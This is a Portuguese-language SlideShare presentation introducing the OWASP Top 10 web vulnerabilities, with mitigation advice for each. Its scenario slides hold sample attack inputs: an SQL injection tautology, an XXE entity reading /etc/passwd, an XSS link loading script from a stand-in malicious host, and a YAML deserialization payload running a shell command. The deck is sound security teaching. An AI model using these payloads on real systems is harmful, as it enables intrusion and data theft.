SlideShare ist ein Scribd-Unternehmen logo
1 von 43
Downloaden Sie, um offline zu lesen
Saindo do 0x0 sobre
segurança em
aplicações web
Estrutura da Apresentação
1. OWASP
2. Projeto OWASP Top 10
3. As 10 vulnerabilidades mais comuns em aplicações web
4. Ferramentas
1.
OWASP
O que é...
OWASP
■ Open Web Application Security Project (OWASP)
■ Organização sem fins lucrativos
■ Tem diversos voluntários pelo mundo
■ Foco em segurança de aplicações
■ Diversos projetos além do OWASP Top 10
2.
Projeto OWASP TOP 10
O que é...
Projeto OWASP TOP 10
■ Relatório das vulnerabilidades mais comuns em aplicações
web
■ Geralmente de 3 em 3 anos tem uma publicação
■ O relatório mais atual é o de 2017
■ Além das vulnerabilidades, também são apresentadas as
formas de mitigação dos riscos envolvidos
O que mudou...
3.
As 10 vulnerabilidades mais
comuns em aplicações web
A1 - Injeção
Injeção de dados não confiáveis são enviados para o interpretador como parte de um
comando ou consulta válida (SQL, SO (sistema operacional), LDAP e etc)
Não houver tratamento das informações fornecidas para o sistema (inputs)
Severo - Pode comprometer por completo o servidor, assim como permitir a exposição de
dados sensíveis
Fácil - Ataques baseados em texto que exploram a sintaxe do interpretador alvo
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A1 - Cenário - SQL Injection
SELECT
First_Name,Surname
FROM users
WHERE ID='1';
■ Pesquisar usuário por ID
A1 - Cenário - SQL Injection
SELECT
First_Name,Surname
FROM users
WHERE ID='or'1'='1;
■ Injetar instrução para considerar sempre verdade e
recuperar todos os usuários do banco
A1 - Como evitar Injeções ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista branca)
Banco de dados
Minimizar os privilégios de
acesso ao banco de dados para
reduzir os impactos de uma
falha/exploração
Consulta
Parametriza
Consulta parametrizada para
distinguir código e dados
A2 - Quebra de Autenticação
Má implementação das funç õ es de autenticaç ã o ou gerenciamento de sessã o ( contas
expostas, senhas, IDs de sessã o) no qual possibilitam assumir a identidade de outro usuá rio.
Houver ausência de mecanismo de proteção (hash, criptografia), assim com a exposição dos
ID's de sessão diretamente nas URL's, ID's de sessão que não expiram e etc.
Severo - Pode comprometer algumas ou todas as contas dos usuários. Uma vez bem sucedido,
qualquer ação pode ser feita através das contas utilizadas (ex: admin)
Fácil - Ataques baseados em alteração e/ou reutilização de informações para assumir outras
identidades
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A2 - Cenário - Quebra de Autenticação
;jsessionid=EB4FFE6F0B917F27A44767177A66D44F
■ Compra de passagem
1
2
3
Usuário compra passagem
Usuário compartilha o link
Usuário malicioso agora pode
realizar compra de passagem
usando as credenciais de outro
usuário
A2 - Como evitar Quebra de Autenticação ?
Arquitetura
Centralizar e padronizar
o modelo de controle de
autenticação
Criptografia
Sempre utilizar criptografia para
dados sensíveis armazenados e/ou
para transição dos mesmos (SSL)
Ferramentas
Utilizar ferramentas OWASP para
tal - Enterprise Security API
(ESAPI)
URL
Evitar passar ID de sessão
através da URL
A3 - Exposição de Dados Sensíveis
Dados importantes no qual estão expostos de forma indevidamente protegida (ofuscada)
Houver ausência ou mal uso de mecanismo de proteção (hash, criptografia) e até mesmo uso
de chaves fracas
Severo - Geralmente compromete todos os dados do sistema, como credenciais de acesso,
cartões de crédito, dados pessoais e etc
Médio - Ataques baseados em explorar outros mecanismos para chegar aos dados sensíveis
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A3 - Cenário - Exposição de Dados Sensíveis
■ Dados sensíveis em texto claro
1
Usuário realiza pagamento com
cartão de crédito e sistema
armazena em texto claro
2
O sistema gera log de todas as
informações
3
Um endpoint externo possibilita
o uso de logs e através do
mesmo é possível obter todos os
CC
ID CC
1 000000000000
A3 - Como evitar Exposição de Dados Sensíveis ?
Armazenamento
Seguro
Utilizar criptografia para
dados sensíveis armazenados
Chaves fortes
Utilizar algoritmos fortes
(criptografia)
Autocomplete
Desabilitar funções de
autocomplete em formulários que
trabalham com dados sensíveis
Distribuição de
chaves
Distribuir chave apenas para
as partes autorizadas e de
forma controlada
A4 - Entidades Externas XML (XXE)
Injeção de referências (entidades) a partir de mal uso ou validação dos processadores de XML
Houver ausência de validação de entrada dos XML's (uploads - fontes desconhecidas), se o
sistema usar o SOAP antes da versão 1.2 e se houver ausência de validação das entidades
Severo - Possibilita a extração dados, execução remota do servidor, escaneamento sistemas
internos, execução de um ataque de negação de serviço e etc
Médio - Torna-se necessário, por exemplo, realizar upload de XML ou incluir conteúdo
malicioso no XML para realizar a exploração
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A4 - Cenário - Entidades Externas XML
■ Execução de comando através de Entidade XML
1
Sistema aceita upload de arquivo
XML (Nota Fiscal)
2
Usuário malicioso envia novo
XML com a entidade alterada
3
O processador de XML retorna
informações conforme
solicitado pela entidade
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>
A4 - Como evitar Entidades Externas XML ?
Atualização
Atualizar todos os
processadores de XML, assim
como o SOAP para uma
versão superior à 1.2
Inativação
Desativar o processamento da
entidade externa XML
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista
branca)
Tecnologia
Se possível, preferir à usar
JSON ao invés de XML
A5 - Quebra de Controle de Acesso
Usuários não autorizados são capazes de acessar determinadas ações/arquivos do sistema
Ausência de verificação se o usuário solicitante tem permissão para acessar a URL, arquivo,
diretório e/ou determinada ação do sistema
Moderado - Possibilita o comprometimento de determinados objetos referenciados, assim
como a exposição dos mesmos
Fácil - Ataques baseados em mudança de parâmetro que exploram as referências do objeto
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A5 - Cenário - Quebra de Controle de Acesso
■ Acessar dados de outro usuário sem a devida permissão
1 Usuário acessa da própria conta
2 Através da URL, muda o número do usuário
3 Obtém acesso a conta de outro usuário
A5 - Como evitar Quebra de Controle de Acesso ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Permissão
Validar se o usuário tem
autorização diante o que foi
solicitado
Tipo de acesso
Validar os tipos de acesso do
usuário (leitura, escrita,
exclusão)
Ferramentas
Utilizar ferramentas OWASP para
tal - Enterprise Security API
(ESAPI)
A6 - Configuração Incorreta de Segurança
Má configuração em geral que podem afetar qualquer nível da pilha de aplicação
Houver sistema desatualizado (S.O, SDBD, Servidor Web, Bibliotecas), recursos ativos que
são desnecessários (portas, serviços, contas), erros que revelam informações importantes e
etc
Moderado - Possibilita o acesso não autorizado à determinados serviços que podem levar o
comprometimento do sistema, assim como pode ocorrer a exposição de dados
Fácil - Ataques baseados em explorar falhas conhecidas, páginas não utilizadas e serviços
expostos
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A6 - Cenário - Configuração Incorreta de Segurança
■ Erro na configuração de acesso à página do servidor
web
1
Após um scanner das páginas
disponíveis na aplicação, o
usuário malicioso descobre
página de configuração do
servidor de aplicação, no qual é
restrita para admins
A6 - Como evitar Configuração Incorreta de Segurança ?
Hardening
Criar políticas de
"blindagem" para os
ambientes
Política de Atualização
Processo de atualização de correções de
software (patch de segurança)
Auditorias
Checar periodicamente as
políticas de segurança
Varredura de Segurança
Checar periodicamente as possíveis
vulnerabilidades existentes nos ambientes
A7 - Cross-Site Scripting (XSS)
Dados não confiáveis são enviados para o navegador da vítima sem a validaç ã o ou filtro
apropriado referente ao conteú do. Dividido em 3 tipos: Refletido, Persistente e Baseado em
DOM
Houver ausência de validação e/ou tratamento das informações fornecidas para o sistema
(inputs), assim como para as API's de terceiros
Moderado - Possibilita o sequestro de sessão, roubo de dados sensíveis, redirecionamento
para páginas maliciosas, inserção de arquivos maliciosos e etc
Fácil - Ataques baseados em script que exploram a sintaxe do interpretador alvo
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A7 - Cenário - Cross-Site Scripting (XSS Refletido)
■ Execução de script ao acessar uma página de um site
1 Usuário recebe link por e-mail
2
Através do link há um script no
qual realiza uma execução
Assunto: Promoção imperdível!!!!
É só clicar -> www.compreaqui.com.br
De: xpto@shopconfiavel.com.br
Para: inocente@gmail.com
<script>alert('aqui tem XSS, BIIIRRRL')</script>
<a href="http://confianenem.org.br/busca.cgi?cc=<script
src='http://malicioso.com.br/malicioso.js'></script>">segur
ancatotal.org.br</a>
A7 - Como evitar Cross-Site Scripting (XSS) ?
Input
Tratar todas as entradas
fornecidas pelo usuário
Whitelist
Implementar validação e/ou
filtro de entrada para definir o
que é ou não aceito (lista branca)
Output
Tratar todas as saídas para o
usuário através de encoding
ou escaping de caracteres
Bibliotecas
Utilizar bibliotecas de auto-sanatização
A8 - Desserialização Insegura
Modificação da lógica da aplicação com foco em execução arbitrária de código
Caso a aplicação permite a alteração do objeto durante e após a desserialização
Severo - Possibilita um invasor de executar códigos remotamente, manipular e até mesmo
apagar objetos serializados (escritos em disco), assim como realizar escalonamento de
privilégios
Difícil - Exige um conhecimento técnico mais aprofundado para entender as oportunidades de
ataque para a vulnerabilidade em questão
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A8 - Cenário - Desserialização Insegura
■ Execução arbitrária de código através da leitura de um
arquivo
1
Usuário malicioso encontra um
trecho de código no qual possibilita
execução de outro código
2
Realiza a execução de um código
arbitrário para obter informação
do host local
import yaml
with open('malicious.yml') as yaml_file:
contents = yaml.load(yaml_file)
print(contents['foo'])
foo: !!python/object/apply:subprocess.check_output ['whoami']
A8 - Como evitar Desserialização Insegura ?
Arquitetura
Recusar objetos serializados
de fontes desconhecidas
Isolamento
Executar código que
desserializa em ambientes de
privilégios baixos quando
possível
Exceções
Apresentar exceções e falhas
de desserialização quando o
tipo de entrada não for o
esperado
Monitoramento
e Restrição
Restringir e monitorar a rede
de entrada e saída de objetos
A9 - Utilização de Componentes Vulneráveis Conhecidos
Componentes e/ou bibliotecas utilizados na aplicação que são vulneráveis
Não houver reconhecimento de todos os componentes utilizados, assim como se houver algum
componente externo ou interno que tenha alguma vulnerabilidade conhecida
Moderado - Possibilita que outros tipos de falhas sejam exploradas e eventualmente chegue a
comprometer parte ou completamente a aplicação
Médio - Ataques geralmente baseados em exploits para vulnerabilidades já conhecidas
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A9 - Cenário - Utilização de Componentes Vulneráveis
Conhecidos
■ Uso de componente vulnerável
1
Usuário malicioso realiza
varredura no sistema e encontra
um componente vulnerável
2
Descobre que o componente é
vulnerável à injeção
3
Desenvolve um exploit para o
componente em questão e
explora a falha
A9 - Como evitar Utilização de Componentes
Vulneráveis Conhecidos ?
Atualização
Manter todos os componentes
sempre atualizados
Política de Segurança
Estabelecer políticas de segurança
para o uso dos componentes no
desenvolvimento
Testes de Segurança
Envolver os componentes nos testes
de segurança
Fronteira
Estabelecer limites de escopo de
do componente na aplicação
A10 - Monitoramento de Eventos e Registros Insuficientes
Ineficiência em resposta aos incidentes, possibilitando que os atacantes concluam os seus
objetivos (ex: varredura).
Houver ausência ou falta de logs com avisos e erros gerados pela aplicação, assim como a
falta de monitoramento dos serviços, sejam estes internos ou externos (ex: API). Outro ponto
é quando a própria aplicação não consegue detectar e nem alertar em tempo real os ataques
ativos
Moderado - Possibilita comprometimento dos mais variados tipos, só vai depender do que
estiver sendo explorado
Média - É necessário fazer um estudo da app para saber quais recursos estão ou não sendo
monitorados, assim como os que geram ou não log
Dificuldade para explorar
Impacto
Vulnerável se
O que é
A10 - Cenário - Monitoramento de Eventos e Registros
Insuficientes
■ Varredura de serviços e portas disponíveis externamente
3
Faz uso indevido de tais
informações para roubar os
dados dos clientes
1
Usuário malicioso realiza
varredura no sistema, descobre
quais portas estão expostas e
que nenhum alerta é gerado
2
Descobre qual dos serviços é
responsável pelas senhas de
acesso
A10 - Como evitar Monitoramento de eventos e
Registros Insuficientes ?
Monitoramento
Estabelecer o monitoramento e
alerta de modo que as atividades
suspeitas sejam detectadas e
respondidas em tempo hábil.
Plano de Resposta
Adotar um plano de resposta e
recuperação de incidentes (ex: NIST
800-61 rev 2)
Auditorias
Realizar periodicamente
auditorias de segurança
Ferramentas
Utilizar ferramentas para tal -
AppSensor, WAF, Dashboard de
monitoramento e etc
O que mudou...
4.
Ferramentas
Ferramentas
Ferramenta para Testes de Segurança
Aplicação vulnerável para estudo
Aplicação vulnerável para estudo
Ferramenta para Testes de Segurança
Zed Attack Proxy
Obrigado!
Quem sou: Igor Carneiro
Atuação: Analista de Qualidade de Software
Hobbies: Corrida, livro e videogame
E-mail: igor.ribeiro.carneiro@gmail.com
LinkedIn: in/igorcarneiro
“
Cybersecurity used to be about the network or operating
system. Now it's more at the application layer.
Companies and their contractors build their own
applications hosted on a public website, and the people
who write them aren't trained in secure coding. The
mistakes they make can be leveraged to break the
system.
By Kevin Mitinick
Referências
■ https://www.owasp.org
■ https://dzone.com/articles/what-is-insecure-deserialization
■ http://blog.securecodewarrior.com/2016/04/releasing-secure-coding-learning.html
■ https://sensedia.com/blog/apis/owasp-2017-top-10-riscos-seguranca-apis/
■ https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
■ https://pyyaml.org/wiki/PyYAMLDocumentation
■ http://blog.conviso.com.br/
■ https://www.veracode.com/blog
■ https://www.owasp.org/index.php/Appendix_A:_Testing_Tools
■ https://www.forbes.com/2008/08/21/mitnick-hackers-security-tech-security-cx_ag_0
821mitnick.html

Weitere ähnliche Inhalte

Was ist angesagt?

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" Clavis Segurança da Informação
 
As 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasAs 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasWalter Dias
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Modulo 7 Seguranca
Modulo 7   SegurancaModulo 7   Seguranca
Modulo 7 SegurancaWalter Cunha
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de RedesCassio Ramos
 
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Clavis Segurança da Informação
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)Julio Cesar Stefanutto
 
Desenvolvimento de exploits
Desenvolvimento de exploitsDesenvolvimento de exploits
Desenvolvimento de exploitsNaraBarros10
 
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...Tchelinux
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxEdlaine Zamora
 

Was ist angesagt? (19)

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
As 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasAs 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-las
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Modulo 7 Seguranca
Modulo 7   SegurancaModulo 7   Seguranca
Modulo 7 Seguranca
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de Redes
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
Gerenciamento de Vulnerabilidades em Redes Corporativas - CNASI RJ
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)Slides do Treinamento - OWASP TOP 10 (Em português)
Slides do Treinamento - OWASP TOP 10 (Em português)
 
Segurança J2EE
Segurança J2EESegurança J2EE
Segurança J2EE
 
Desenvolvimento de exploits
Desenvolvimento de exploitsDesenvolvimento de exploits
Desenvolvimento de exploits
 
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento G...
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
 
CNASI Cyber, Forense e CISSP
CNASI Cyber, Forense e CISSPCNASI Cyber, Forense e CISSP
CNASI Cyber, Forense e CISSP
 
V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”
 
Site invadido
Site invadidoSite invadido
Site invadido
 

Ähnlich wie Saindo do 0x0 sobre segurança em aplicações web

OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityMarlon Bernardes
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...Clavis Segurança da Informação
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenPOANETMeetup
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...EMERSON EDUARDO RODRIGUES
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Clavis Segurança da Informação
 
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...Jump Call
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012Marcio Cunha
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazOWASP Brasília
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de SegurançaAlan Carlos
 
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_sox
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_soxAuditoria de banco_de_dados_sql_server_em_conformidade_com_a_sox
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_soxSQLServerRS
 

Ähnlich wie Saindo do 0x0 sobre segurança em aplicações web (20)

OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top Ten
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
Vulnerabilidades Comuns em Aplicações Web - RoadSec 2023 EMERSON EDUARDO RODR...
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...
Segurança Cibernética - Conheça o ATA, a solução da Microsoft para proteger s...
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
 
Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio Braz
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
Antar ferreira
Antar ferreiraAntar ferreira
Antar ferreira
 
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_sox
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_soxAuditoria de banco_de_dados_sql_server_em_conformidade_com_a_sox
Auditoria de banco_de_dados_sql_server_em_conformidade_com_a_sox
 
Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013
 

Saindo do 0x0 sobre segurança em aplicações web

  • 1. Saindo do 0x0 sobre segurança em aplicações web
  • 2. Estrutura da Apresentação 1. OWASP 2. Projeto OWASP Top 10 3. As 10 vulnerabilidades mais comuns em aplicações web 4. Ferramentas
  • 4. OWASP ■ Open Web Application Security Project (OWASP) ■ Organização sem fins lucrativos ■ Tem diversos voluntários pelo mundo ■ Foco em segurança de aplicações ■ Diversos projetos além do OWASP Top 10
  • 5. 2. Projeto OWASP TOP 10 O que é...
  • 6. Projeto OWASP TOP 10 ■ Relatório das vulnerabilidades mais comuns em aplicações web ■ Geralmente de 3 em 3 anos tem uma publicação ■ O relatório mais atual é o de 2017 ■ Além das vulnerabilidades, também são apresentadas as formas de mitigação dos riscos envolvidos
  • 7. O que mudou... 3. As 10 vulnerabilidades mais comuns em aplicações web
  • 8. A1 - Injeção Injeção de dados não confiáveis são enviados para o interpretador como parte de um comando ou consulta válida (SQL, SO (sistema operacional), LDAP e etc) Não houver tratamento das informações fornecidas para o sistema (inputs) Severo - Pode comprometer por completo o servidor, assim como permitir a exposição de dados sensíveis Fácil - Ataques baseados em texto que exploram a sintaxe do interpretador alvo Dificuldade para explorar Impacto Vulnerável se O que é
  • 9. A1 - Cenário - SQL Injection SELECT First_Name,Surname FROM users WHERE ID='1'; ■ Pesquisar usuário por ID
  • 10. A1 - Cenário - SQL Injection SELECT First_Name,Surname FROM users WHERE ID='or'1'='1; ■ Injetar instrução para considerar sempre verdade e recuperar todos os usuários do banco
  • 11. A1 - Como evitar Injeções ? Input Tratar todas as entradas fornecidas pelo usuário Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Banco de dados Minimizar os privilégios de acesso ao banco de dados para reduzir os impactos de uma falha/exploração Consulta Parametriza Consulta parametrizada para distinguir código e dados
